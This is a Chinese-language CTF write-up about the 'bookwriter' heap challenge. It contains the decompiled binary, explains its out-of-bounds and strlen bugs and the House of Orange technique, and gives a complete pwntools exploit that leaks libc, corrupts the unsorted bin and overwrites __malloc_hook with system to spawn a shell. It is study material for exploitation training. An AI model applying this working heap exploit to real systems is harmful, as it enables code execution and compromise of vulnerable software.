Pwn学习总结(23):Heap – House of Orange – bookwriter

实验平台:

x86_64, Ubuntu 16.04.7 LTS, Kernel 4.15.0-142-generic
GLIBC 2.23-0ubuntu11.3

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/OtherBin/bookwriter

ELF安全性:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

可以看到,除了PIE没有打开,其他保护措施都打开了。还打开了FORTIFY,但是这个题里面FORTIFY机制对我们做题没什么影响。

IDA反编译后的代码如下:

__int64 __fastcall read_str_s(char *buf, unsigned int size)
{
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = _read_chk(0LL, (__int64)buf, size, size);
  if ( v3 < 0 )
  {
    puts("read error");
    exit(1);
  }
  if ( buf[v3 - 1] == '\n' )
    buf[v3 - 1] = 0;
  return (unsigned int)v3;
}
__int64 read_int()
{
  char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( (int)read_str_s(nptr, 0x10u) < 0 )
  {
    puts("read error");
    exit(1);
  }
  return (unsigned int)atol(nptr);
}
int menu()
{
  puts("----------------------");
  puts("      BookWriter      ");
  puts("----------------------");
  puts(" 1. Add a page        ");
  puts(" 2. View a page       ");
  puts(" 3. Edit a page       ");
  puts(" 4. Information       ");
  puts(" 5. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}
void __fastcall add()
{
  unsigned int i; // [rsp+Ch] [rbp-14h]
  char *ptr; // [rsp+10h] [rbp-10h]
  __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 8 )                                // vulnerable
    {
      puts("You can't add new page anymore!");
      return;
    }
    if ( !pages[i] )
      break;
  }
  printf("Size of page :");
  size = read_int();
  ptr = (char *)malloc(size);
  if ( !ptr )
  {
    puts("Error !");
    exit(0);
  }
  printf("Content :");
  read_str_s(ptr, size);
  pages[i] = ptr;
  page_size[i] = size;
  ++page_count;
  puts("Done !");
}
void __fastcall view()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  printf("Index of page :");
  v0 = read_int();
  if ( v0 > 7 )
  {
    puts("out of page:");
    exit(0);
  }
  if ( pages[v0] )
  {
    printf("Page #%u \n", v0);
    printf("Content :\n%s\n", pages[v0]);
  }
  else
  {
    puts("Not found !");
  }
}
void __fastcall edit()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  printf("Index of page :");
  v0 = read_int();
  if ( v0 > 7 )
  {
    puts("out of page:");
    exit(0);
  }
  if ( pages[v0] )
  {
    printf("Content:");
    read_str_s(pages[v0], page_size[v0]);
    page_size[v0] = strlen(pages[v0]);          // vulnerable
    puts("Done !");
  }
  else
  {
    puts("Not found !");
  }
}
void __fastcall input_author()
{
  printf("Author :");
  read_str_s(author_bss, 0x40u);
}
void __fastcall info()
{
  int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  v0 = 0;
  printf("Author : %s\n", author_bss);
  printf("Page : %u\n", (unsigned int)page_count);
  printf("Do you want to change the author ? (yes:1 / no:0) ");
  _isoc99_scanf("%d", &v0);
  if ( v0 == 1 )
    input_author();
}
void __fastcall main(int a1, char **a2, char **a3)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("Welcome to the BookWriter !");
  input_author();
  while ( 1 )
  {
    menu();
    switch ( read_int() )
    {
      case 1LL:
        add();
        break;
      case 2LL:
        view();
        break;
      case 3LL:
        edit();
        break;
      case 4LL:
        info();
        break;
      case 5LL:
        exit(0);
      default:
        puts("Invalid choice");
        break;
    }
  }
}

本题的漏洞点主要在两处:

第49行,add函数中可以向pages[8]中申请一个堆块。但实际上pagespage_size数组的大小都是8,而且pagepage_size数组紧邻。相当于这里面存在一个越界写。此时,pages[8]page_size[0]实际上指向同一个地址。我们只要可以控制程序向pages[8]中申请堆块,那么就可以向pages[0]对应的堆空间上写入非常长的数据。从而覆盖后面堆块的元信息及数据。

第108行,edit函数中用strlen函数来测试堆块的大小并且进行记录。但其实堆块一旦申请下来长度就不会变了,这里加这个东西完全是画蛇添足,故意给你留的一个Bug。只要我们在输入中不包括\x00,使得初始申请的堆块被完全占满,UserData后面紧接着的又不一定是\x00。那么我们就可以借strlen达到延长可输入长度的目的,进而使用offbyone的利用套路。

但这道题目的一个问题在于,没有办法调用free去制造UAF。因此我们使用House of Orange的方法去制造一个Unsorted Bin堆块。

House of Orange[1]

目标

在程序控制流中没有free函数调用的情况下制造一个UnsortedBin堆块。

原理

攻击者先伪造Top Chunk的Size,将其减到很小。然后利用malloc申请一个很大的堆块,在FastBin、SmallBin、LargeBin、UnsortedBin中均不能找到能够分配的空间,而且Top Chunk的大小也无法满足需要。此时,ptmalloc就会使用系统调用brk/mmap申请另一块堆空间。然后将之前的Top Chunk作为一个UnsortedBin加入堆块空闲列表中,从而达到我们的目的。

约束

  1. 申请的Chunk大小小于mmp_.mmap_threshold,默认为128KB(0x20000)。否则会直接调用mmap系统调用进行空间的申请。
  2. Top Chunk的Size必须要对齐到内存页4KB(0x1000)。
  3. Top Chunk的Size要大于MINSIZE(0x10)。
  4. Top Chunk的Size要小于之后申请的Chunk Size + MINSIZE。
  5. Top Chunk的Size的PREV_INUSE位必须为1。

伪造方法

一般的伪造方法是将Top Chunk的Size字段的高位清零,低16比特(或12比特)不动,即可满足上面的约束条件。

Exp

我们直接来看这道题目的Exp。

#!/usr/bin/env python2
# coding = utf-8
# Environment: Ubuntu 16.04

from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")

def send_choice(choice):
    p.recvuntil('Your choice :')
    p.sendline(str(choice))

def input_author(data):
    p.recvuntil('Author :')
    p.send(data)

def add_data(size, data):
    send_choice(1)
    p.recvuntil('Size of page :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.send(data)

def view_data(index):
    send_choice(2)
    p.recvuntil('Index of page :')
    p.sendline(str(index))
    p.recvuntil('Content :\n')

def edit_data(index, data):
    send_choice(3)
    p.recvuntil('Index of page :')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(data)

def info_read():
    send_choice(4)
    p.recvuntil('Author : ')
    buf = p.recvuntil('\n')
    p.recvuntil('Do you want to change the author ? (yes:1 / no:0) ')
    p.sendline("0")
    return buf

def info_write():
    send_choice(4)
    p.recvuntil('Do you want to change the author ? (yes:1 / no:0) ')
    p.sendline("1")

p = process('./bookwriter')
elf = ELF('./bookwriter')
# gdb.attach(p, '')

input_author('a' * 0x40)

# Step 1: Use `House of Orange` to get a free chunk in unsorted bin
add_data(0x18, 'a' * 0x18)                  # Create Chunk on page[0]
edit_data(0, 'a' * 0x18)                    # Update page_size[0] to a larger size
edit_data(0, '\x00' * 0x18 + '\xe1\x0f\x00')# Overwrite `mchunk_size` domain of Top Chunk to a smaller size, 
                                                # Data starting with `\x00` make `page_size[0] = 0` to enable an extra malloc
add_data(0x1fe1, 'a' * 20)                  # Create Large Chunk on page[1] to make ptmalloc recycle current small Top Chunk into Unsorted Bin

# Step 2: Unsorted Bin Libc Leak
add_data(0x40, '\x10')          # The chunk just entered UnsortedBin will be placed in LargeBin and split, then return, so page[2] cannot leak libc
                                    # Mustn't allocated all `0xfb8` size of UnsortedBin or No Backward Pointer from `main_arena` 
add_data(0x40, '\x10')          # Create Data[3] to leak `__malloc_hook` using `fd` domain of Unsorted Bin
view_data(3)                    # Address End with `\x10` is exactly `__malloc_hook`
libc_malloc_hook = u64(p.recv(6) + '\x00\x00')
libc = LibcSearcher('__malloc_hook', libc_malloc_hook)
libc_base = libc_malloc_hook - libc.dump('__malloc_hook')
system_libc = libc_base + libc.dump('system')
log.info('libc_base: ' + hex(libc_base))
log.info('system_libc: ' + hex(system_libc))

# Step 3: Leak Heap Address using printing `author_bss`
heap_addr = u64(info_read()[0x40:-1].ljust(8, '\x00'))
log.info('heap_addr: ' + hex(heap_addr))

# Step 4: Fake a chunk on author_bss
author_bss = 0x602060
top_chunk = libc_malloc_hook - 0x10 + 0x78
info_write()
input_author('/bin/sh\x00' + p64(0x111) + p64(top_chunk) * 2 + p64(0) * 4) # `fd` & `bk` point to Top Chunk to prevent validation error

# Step 5: Fill All the page[] term to overwrite page_size[0](page[8]) to control the heap
for i in range(5):
    add_data(0x40, 'a') # A large heap address is assigned to page_size[0] therefore enable a large size input on heap
"""
Extend UnsortedBin Double Linked List to data on BSS.
Mention that although the double linked list is corrupted, the program won't abort
    but will allocate chunk we faked on the BSS.
"""
edit_data(0, '\x00' * 0x240 + p64(0xdead) + p64(0x41) + p64(author_bss) * 2) # Exactly overwrite the free unsorted chunk
add_data(0x100, 'a' * 0x30 + p64(libc_malloc_hook - 8))
edit_data(0, p64(0) + p64(system_libc))         # Set page_size[0] to 0 to enable a next malloc invocation (getshell)
p.sendline("1")
p.recvuntil('Size of page :')
p.sendline(str(author_bss))

p.interactive()

下面来讲一下利用的具体过程,代码中也有英文注释可供参考。

第58~62行,进行House of Orange的利用:

  • 第58行,新建一个UserData大小为0x18,Chunk大小为0x20的堆块page[0]
    • 此时的堆布局为上面一个已分配的大小0x20堆块,下面是Top Chunk。
  • 第59行,编辑page[0],使其利用strlen的漏洞扩展可输入长度的大小。这样我们就可以写到Top Chunk的Size域。
  • 第60行,写入Top Chunk的Size域,让大小变为0xfe1。在gdn实际调试中,原本的大小应该是0x20fe1。
    • 写入数据以\x00开头的原因是,让page_size[0]变为0,方便后续分配堆块到page[8]
  • 第62行,分配一个超出Top Chunk大小的堆块(0x1fe1),这个时候就利用了House of Orange。Ptmalloc申请了新的堆内存,并将原本的Top Chunk放到了UnsortedBin中。

第65~74行,泄露Libc的地址:

  • 第65行,对于首次进入UnsortedBin的堆块,ptmalloc会将其放入LargeBin中然后再分割、分配。因此,此时泄露的fdbk指向LargeBin中对应的地址,不方便进行Libc泄露,因此我们不用它。
    • 我们也不能一次性在此处把UnsortedBin的整个堆块都用完,因为如果都用完的话,后续就没有办法把UnsortedBin的空闲堆块链表延长到BSS段上。
  • 第67行,通过UnsortedBin的堆块Leak __malloc_hook的地址。
  • 后面没什么好讲的。

第55、77~78行,泄露了堆的地址。

  • 存储Author的空间恰好在BSS上,并且后面紧邻pagepage_size数组。
  • 第55行,填充全a,不带\x00,这样通过printf,就可以把page[0]打印出来。
  • 第77行,接收堆的地址。

第81~84行,在author这个bss段的数据变量上伪造Chunk,从而覆盖后面的page。进而实现任意地址读写。

  • 第82行,通过__malloc_hook计算top_chunk的地址。
  • 第84行,伪造堆块。
    • PREV_SIZE域填充"/bin/sh",对利用不会增加阻碍。而且在后面可以直接利用。
    • SIZE域填充0x111。
    • fdbk域都填充top_chunk的值,避免ptmalloc的校验出现问题。
    • 后面填充的4个QWORD对本题目的利用不造成影响,可以删除。

第87~88行,填充前部的page数组元素,使得page_size[0]被分配一个极大的值(前置条件见第60行说明)。方便后面对堆内容的任意写入。

第94~99行,

  • 第94行,前面填充很长的字符串,直到覆盖到Free的UnsortedBin Chunk。接下来在此处Free的Chunk上修改fdbk,使其指向BSS上伪造的Chunk。Size域经测试可以任意修改,不会对程序的行为造成影响。
    • 注意,此时UnsortedBin的双向空闲链表已经被破坏,但ptmalloc可能是没有进行完整的校验,因此分配依然能够正常进行。
  • 第95行,新分配的堆块大小要与BSS伪造的Chunk相吻合。前0x30字节先把Author的大小填充过去,然后后面写入__malloc_hook的地址减8。
    • 此处不直接写入__malloc_hook的地址,是因为__malloc_hook的地址开头不是\x00,写入的page_size[0]也不为0,就没办法进行后续利用了。有兴趣可以自己探索一下。
  • 第96行,写入system的libc地址到__malloc_hook
  • 第97~99行,把原本的malloc(size)变成了system(buf_addr)。此时我们将刚才第84行写好的堆块地址传上去即可getshell。

参考资料:
[1] https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注